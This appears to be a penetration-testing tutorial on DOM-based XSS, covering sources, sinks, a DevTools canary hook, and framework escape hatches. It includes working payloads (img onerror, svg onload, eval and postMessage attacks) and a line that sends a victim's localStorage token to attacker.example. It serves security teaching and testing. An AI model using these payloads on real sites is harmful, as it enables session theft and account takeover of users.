DOM XSS: When the Vulnerability Never Touches the Server
DOM-based cross-site scripting lives entirely in client-side JavaScript, invisible to server-side filters. We trace sources to sinks and lock them down.
DOM-based XSS is the variant your server never sees: tainted data flows from a client-side source like the URL fragment into a dangerous JavaScript sink, and the payload may never appear in any request the server inspects. This is how to trace sources to sinks in the browser and fire a working PoC.
Finding it
DOM XSS is a taint-tracking problem that lives entirely in the page. You are looking for a flow from a source (browser-controlled input) into a sink (an API that turns a string into markup or code).
Sources to watch:
location.hash,location.search,location.hrefdocument.referrerpostMessageevent data- values read back out of
localStorage/sessionStorage
Sinks that execute:
element.innerHTML,outerHTML,insertAdjacentHTMLdocument.writeeval,Function,setTimeout/setIntervalwith a string argument- jQuery
$(...)with attacker-influenced input
Practical discovery: open DevTools, set a breakpoint on innerHTML via Object.defineProperty or just search the bundle for the sink names, then trace the argument backward to a source. A quick console hook flags any write that contains your canary:
// Paste in DevTools, then load the page with #domxss-canary in the URL
const d = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
set(v) { if (String(v).includes('domxss-canary')) debugger; return d.set.call(this, v); }
});
DOMInvader (built into Burp's browser) automates the same idea — it injects a canary into every source and reports which sink it reaches. Because the fragment never hits the server, a clean server-side pentest tells you nothing here.
Proof of concept
The textbook flow is fragment-to-innerHTML. The page does:
const tab = decodeURIComponent(location.hash.slice(1));
document.getElementById("panel").innerHTML = "You are viewing: " + tab;
Because innerHTML will not run a bare <script>, use an auto-firing event handler. Load this URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.domain)>
The image fails to load, onerror runs, and the alert showing the page's own origin is your proof. Swap the payload to <svg onload=alert(document.domain)> if <img> is stripped.
When the sink is eval/setTimeout, you do not even need HTML:
https://app.example.com/#;alert(document.domain)//
When the source is localStorage rather than the URL, the PoC is a two-step flow: first get attacker data into storage (often via an earlier reflected param the app caches, or a separate endpoint that writes it), then load the page that reads it back into a sink. Demonstrate the write and the subsequent execution together so the chain is unambiguous.
For a postMessage sink, the PoC is an attacker page that frames the target and posts to it:
<iframe src="https://app.example.com/widget" id="t"></iframe>
<script>
document.getElementById('t').onload = () => {
frames[0].postMessage('<img src=x onerror=alert(document.domain)>', '*');
};
</script>
If the listener pipes event.data into a sink without checking event.origin, the payload fires.
Going further
Replace the harmless alert with something that demonstrates real impact — that is what separates a proof from a curiosity. Steal a JavaScript-readable session token:
#<img src=x onerror="new Image().src='https://attacker.example/c?t='+encodeURIComponent(localStorage.token)">
A request landing on your server carrying the victim's token shows account takeover. Other escalations to demonstrate: performing a state-changing action as the user, key-logging form fields, or pivoting to another same-origin page.
The escape hatches in modern frameworks are where DOM XSS survives even after auto-escaping kills the easy cases — grep specifically for dangerouslySetInnerHTML, v-html, Angular bypassSecurityTrustHtml, and any hand-rolled innerHTML. Those are your highest-yield review targets. Capture the exact URL/payload, the source-to-sink path you traced, and the alert (or the exfil request) as evidence. Test only on authorized origins.